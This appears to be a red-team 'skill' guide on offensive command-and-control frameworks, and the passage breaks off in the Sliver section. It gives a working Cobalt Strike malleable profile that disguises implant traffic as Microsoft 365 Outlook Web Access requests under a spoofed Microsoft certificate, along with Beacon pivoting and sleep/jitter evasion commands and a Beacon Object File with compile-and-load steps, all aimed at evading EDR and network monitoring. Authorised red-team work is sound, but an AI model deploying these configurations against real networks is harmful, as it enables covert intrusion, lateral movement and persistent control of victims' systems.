offensive-c2-frameworks

# Offensive C2 Frameworks

Command and Control is the backbone of any sustained red team engagement. Your C2 framework manages implant communication, task distribution, post-exploitation, and lateral movement coordination. Selecting and configuring the right framework -- and layering proper infrastructure around it -- determines whether your operation survives the first 48 hours or burns within minutes of initial access.

This skill covers the major C2 frameworks you encounter in professional red teaming, their configuration for operational security, the infrastructure patterns that protect your backend servers, and the tradecraft decisions that separate detectable operations from resilient ones. You are expected to understand not just how to deploy these tools, but why specific configuration choices matter against modern EDR and network monitoring.

## Quick Workflow

1. Define your engagement's network constraints -- identify allowed egress protocols, proxy requirements, and monitoring posture.
2. Select a primary C2 framework and transport based on target environment restrictions.
3. Build redirector infrastructure between your implants and your team server -- never expose the team server directly.
4. Configure communication profiles to mimic legitimate traffic patterns for the target organization.
5. Generate implants with appropriate sleep intervals, jitter, and kill dates.
6. Establish primary and fallback C2 channels using different transports and infrastructure.
7. Monitor your C2 traffic against detection signatures before deploying to production targets.

---

## Cobalt Strike

Cobalt Strike remains the most widely deployed commercial C2 framework. Its strength lies in malleable C2 profiles, Beacon flexibility, and a mature post-exploitation toolkit. You configure it for stealth through profile customization, sleep management, and BOF execution.

### Malleable C2 Profiles

Malleable profiles define how Beacon communicates -- HTTP headers, URI paths, data encoding, and TLS parameters. A well-crafted profile mimics a specific legitimate application.

```text
# Example malleable profile -- mimicking Microsoft 365 traffic
set sleeptime "60000";
set jitter    "37";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0";
set data_jitter "50";

https-certificate {
    set C   "US";
    set ST  "Washington";
    set L   "Redmond";
    set O   "Microsoft Corporation";
    set OU  "Microsoft IT";
    set CN  "outlook.office365.com";
    set validity "365";
}

http-get {
    set uri "/owa/auth/logon.aspx /autodiscover/autodiscover.xml";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Connection" "keep-alive";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "Server" "Microsoft-IIS/10.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            prepend "<!DOCTYPE html><html><head></head><body>";
            append "</body></html>";
            print;
        }
    }
}

http-post {
    set uri "/owa/service.svc";
    set verb "POST";

    client {
        header "Content-Type" "application/json; charset=utf-8";

        id {
            base64url;
            prepend "token=";
            header "Cookie";
        }

        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            base64;
            print;
        }
    }
}
```

### Beacon Types and Pivoting

```text
# Beacon types and their use cases:
# HTTP/HTTPS Beacon  -- standard egress, most flexible
# DNS Beacon         -- low-bandwidth, high-stealth for restrictive networks
# SMB Beacon         -- named pipe, for internal pivoting (no egress needed)
# TCP Beacon         -- bind/reverse TCP for internal pivoting

# Generate payloads via Cobalt Strike GUI or aggressor scripts
# Stageless is preferred for OPSEC -- avoids the staging handshake

# Named pipe pivoting: link internal hosts through SMB Beacons
# On pivot host with HTTPS Beacon:
#   beacon> link 10.10.10.50 \\.\pipe\msagent_89
# The SMB Beacon on 10.10.10.50 communicates through the pivot host

# Sleep and jitter configuration in Beacon
#   beacon> sleep 300 45
#   Sets 300-second sleep with 45% jitter (sleep varies 165-435 seconds)
#   High sleep + high jitter = harder to detect via beaconing analysis
```

### Beacon Object Files (BOFs)

BOFs execute compiled C code directly in Beacon's memory without spawning a new process -- critical for evading process-based detections.

```c
/* example_bof.c -- inline whoami without spawning a child process */
#include <windows.h>
#include "beacon.h"

void go(char *args, int alen) {
    DWORD bufSize = 256;
    char username[256];
    char domain[256];

    WINBASEAPI BOOL WINAPI KERNEL32$GetUserNameA(LPSTR, LPDWORD);
    WINBASEAPI BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);

    if (ADVAPI32$GetUserNameA(username, &bufSize)) {
        BeaconPrintf(CALLBACK_OUTPUT, "Username: %s", username);
    }
}
```

```text
# Compile and load BOF
# x86_64-w64-mingw32-gcc -c example_bof.c -o example_bof.o
# beacon> inline-execute example_bof.o

# Key BOF repositories for red teams:
#   - trustedsec/CS-Situational-Awareness-BOF (user/network enumeration)
#   - anthemtotheego/InlineWhispers (syscall-based BOFs)
#   - rvrsh3ll/BOF_Collection (mixed utility BOFs)
```

---

## Sliver

Sliver is an open-source C2 framework with native support for mTLS, WireGuard, HTTP(S), and DNS transports. It supports multiplayer operation, allowing multiple operators to share a team server.

### Implant Generation

```bash
# Start Sliver server
./sliver-server

# Generate implants with different t